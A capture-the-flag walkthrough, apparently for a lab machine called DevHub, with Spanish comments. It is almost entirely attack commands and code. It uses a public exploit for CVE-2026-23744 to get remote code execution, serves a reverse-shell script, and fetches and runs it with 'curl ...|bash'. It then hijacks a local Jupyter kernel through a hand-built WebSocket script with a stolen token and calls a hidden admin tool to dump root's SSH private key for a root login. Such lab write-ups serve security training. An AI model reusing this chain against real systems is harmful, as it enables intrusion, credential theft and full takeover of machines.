DevHub WriteUp

echo "10.129.8.48 devhub.htb" | sudo tee -a /etc/hosts

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv devhub.htb

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv devhub.htb

# Terminal 1 — HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 2 — exploit (el exploit toma IP:HOST y comando, no URL completa)
git clone https://github.com/boroeurnprach/CVE-2026-23744-PoC
cd CVE-2026-23744-PoC
python3 exploit.py devhub.htb 'curl http://TU_IP/rce-test'

# Terminal 1 — listener
penelope -p 8443

# Terminal 2 — payload en el HTTP server
echo 'bash -i >& /dev/tcp/TU_IP/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 — exploit: descarga shell.sh del atacante y lo ejecuta
python3 exploit.py devhub.htb 'curl http://TU_IP/shell.sh|bash'

ps aux

curl -s -X POST "http://127.0.0.1:8888/api/kernels" \
  -H "Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}'

{"id": "f99996c7-6df0-4583-8f7a-8ceb1396ce7e", "name": "python3", ...}

cat > /tmp/jupyter_exec.py << 'EOF'
import socket, json, os, struct, time, uuid, re

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

# 1. WebSocket handshake (HTTP Upgrade)
sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)  # consume HTTP 101 Switching Protocols

# 2. Función para enviar frames WebSocket con máscara (requerido RFC 6455)
def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

def recv_all(s, timeout=8):
    s.settimeout(timeout)
    buf = b''
    try:
        while True: buf += s.recv(65536)
    except: pass
    return buf

# 3. Mensaje execute_request (Jupyter Messaging Protocol v5)
msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        "code": "import os; print(os.popen('id; cat /home/analyst/user.txt').read())",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)

# 4. Extraer el stdout de los mensajes de tipo "stream"
raw = recv_all(sock).decode(errors='replace')
for m in re.finditer(r'"msg_type":\s*"stream".*?"text":\s*"(.*?)"(?=,\s*"buffers")', raw, re.DOTALL):
    print(m.group(1).replace('\\n', '\n'))
sock.close()
EOF
python3 /tmp/jupyter_exec.py

cat /home/analyst/user.txt

cat > /tmp/jupyter_copy.py << 'EOF'
import socket, json, os, struct, time, uuid

KERNEL = "f99996c7-6df0-4583-8f7a-8ceb1396ce7e"
TOKEN  = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"
PATH   = f"/api/kernels/{KERNEL}/channels?token={TOKEN}"

sock = socket.socket()
sock.connect(('127.0.0.1', 8888))
sock.settimeout(10)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {PATH} HTTP/1.1\r\nHost: 127.0.0.1:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)

def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:    hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535: hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:             hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "x",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0", "date": ""},
    "parent_header": {}, "metadata": {},
    "content": {
        # Copiamos el fichero y damos permisos de lectura para mcp-dev
        "code": "import shutil, os; shutil.copy('/opt/opsmcp/server.py', '/tmp/opsmcp_server.py'); os.chmod('/tmp/opsmcp_server.py', 0o644)",
        "silent": False, "store_history": False,
        "user_expressions": {}, "allow_stdin": False
    },
    "channel": "shell", "buffers": []
}

send_msg(sock, json.dumps(msg))
time.sleep(3)
sock.close()
print("Done")
EOF
python3 /tmp/jupyter_copy.py && cat /tmp/opsmcp_server.py

# Comprobamos que el servidor responde y que nuestra clave es válida
curl -s http://127.0.0.1:5000/tools/list \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a"

{"tools": ["ops.system_status", "ops.list_services", "ops.check_disk", "ops.view_logs"], ...}

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'

{
  "note": "Emergency recovery key dump",
  "root_private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1...",
  "target": "ssh_keys"
}

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -H "Content-Type: application/json" \
  -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['root_private_key'])" > /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@localhost

cat /root/root.txt